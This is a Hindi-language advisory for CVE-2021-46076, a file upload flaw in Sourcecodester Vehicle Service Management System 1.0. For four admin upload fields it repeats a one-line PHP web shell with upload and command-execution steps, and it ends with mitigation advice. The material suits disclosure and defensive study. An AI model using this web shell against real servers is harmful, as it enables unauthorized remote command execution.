CVE-2021-46076
शोषण शीर्षक: वाहन सेवा प्रबंधन प्रणाली - 'एकाधिक' फ़ाइल अपलोड जिससे कोड निष्पादन होता है
CVE: CVE-2021-46076
CVSS: 8.8 HIGH
संदर्भ:
विवरण:
Sourcecodester Vehicle Service Management System 1.0 फ़ाइल अपलोड के लिए संवेदनशील है। एक हमलावर एकाधिक एंडपॉइंट्स पर एक दुर्भावनापूर्ण php फ़ाइल अपलोड कर सकता है, जिससे कोड निष्पादन होता है।
1. वाहन सेवा प्रबंधन प्रणाली - 'MyAccount' (/admin/?page=user)
शोषण:
- एडमिन पैनल में लॉगिन करें http://localhost/vehicle_service/admin
- मेरा खाता अनुभाग पर जाएं http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- उपरोक्त php कोड सहेजें उदाहरण के लिए: Cmd.php
- My Account अनुभाग में सभी आवश्यक विवरण दर्ज करें और Avatar में php फ़ाइल ब्राउज़ करें।
- अपडेट बटन पर क्लिक करें।
- Avatar छवि को नए टैब में खोलें।
- URL में cmd पैरामीटर जोड़ें और कमांड निष्पादित करें।
- अंतिम URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- सभी सिस्टम कमांड निष्पादित करें उदाहरण के लिए: id, whoami, pwd आदि।
2. वाहन सेवा प्रबंधन प्रणाली - 'User List' (/admin/?page=user/manage_user)
शोषण:
- एडमिन पैनल में लॉगिन करें http://localhost/vehicle_service/admin
- User List अनुभाग पर जाएं और Create New बटन पर क्लिक करें।
Payload:
<?php system($_GET['cmd']);?>
- उपरोक्त php कोड सहेजें उदाहरण के लिए: Cmd.php
- Create New User पृष्ठ पर सभी आवश्यक विवरण दर्ज करें और Avatar में php फ़ाइल ब्राउज़ करें।
- Save बटन पर क्लिक करें।
- Avatar छवि को नए टैब में खोलें।
- URL में cmd पैरामीटर जोड़ें और कमांड निष्पादित करें।
- अंतिम URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- सभी सिस्टम कमांड निष्पादित करें उदाहरण के लिए: id, whoami, pwd आदि।
3. वाहन सेवा प्रबंधन प्रणाली - 'Settings-System Logo' (/admin/?page=system_info)
शोषण:
- एडमिन पैनल में लॉगिन करें http://localhost/vehicle_service/admin
- Settings अनुभाग पर जाएं http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- उपरोक्त php कोड सहेजें उदाहरण के लिए: Cmd.php
- Settings अनुभाग में सभी आवश्यक विवरण दर्ज करें और System Logo में php फ़ाइल ब्राउज़ करें।
- अपडेट बटन पर क्लिक करें।
- System Logo छवि को नए टैब में खोलें।
- URL में cmd पैरामीटर जोड़ें और कमांड निष्पादित करें।
- अंतिम URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- सभी सिस्टम कमांड निष्पादित करें उदाहरण के लिए: id, whoami, pwd आदि।
4. वाहन सेवा प्रबंधन प्रणाली - 'Settings-Website Cover' (/admin/?page=system_info)
शोषण:
- एडमिन पैनल में लॉगिन करें http://localhost/vehicle_service/admin
- Settings अनुभाग पर जाएं http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- उपरोक्त php कोड सहेजें उदाहरण के लिए: Cmd.php
- Settings अनुभाग में सभी आवश्यक विवरण दर्ज करें और Website Cover में php फ़ाइल ब्राउज़ करें।
- अपडेट बटन पर क्लिक करें।
- Website Cover छवि को नए टैब में खोलें।
- URL में cmd पैरामीटर जोड़ें और कमांड निष्पादित करें।
- अंतिम URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- सभी सिस्टम कमांड निष्पादित करें उदाहरण के लिए: id, whoami, pwd आदि।
प्रभाव:
एक हमलावर एकाधिक एंडपॉइंट्स पर दुर्भावनापूर्ण php फ़ाइल अपलोड कर सकता है, जिससे कोड निष्पादन होता है।
शमन:
निम्नलिखित को लागू करने की अनुशंसा की जाती है:
- फ़ाइल नाम और उसके एक्सटेंशन को बिना सफ़ेद-सूची फ़िल्टर के सीधे स्वीकार न करें।
- यदि यूनिकोड वर्णों की आवश्यकता नहीं है, तो केवल अल्फ़ा-न्यूमेरिक वर्ण और फ़ाइल नाम एवं एक्सटेंशन के लिए इनपुट के रूप में केवल एक डॉट स्वीकार करने की अत्यधिक अनुशंसा की जाती है।
- सेवा अस्वीकृति हमलों को रोकने के लिए फ़ाइल आकार को अधिकतम मान तक सीमित करें।
- अपलोड की गई निर्देशिका में कोई "execute" अनुमति नहीं होनी चाहिए।
- केवल क्लाइंट-साइड सत्यापन पर निर्भर न रहें।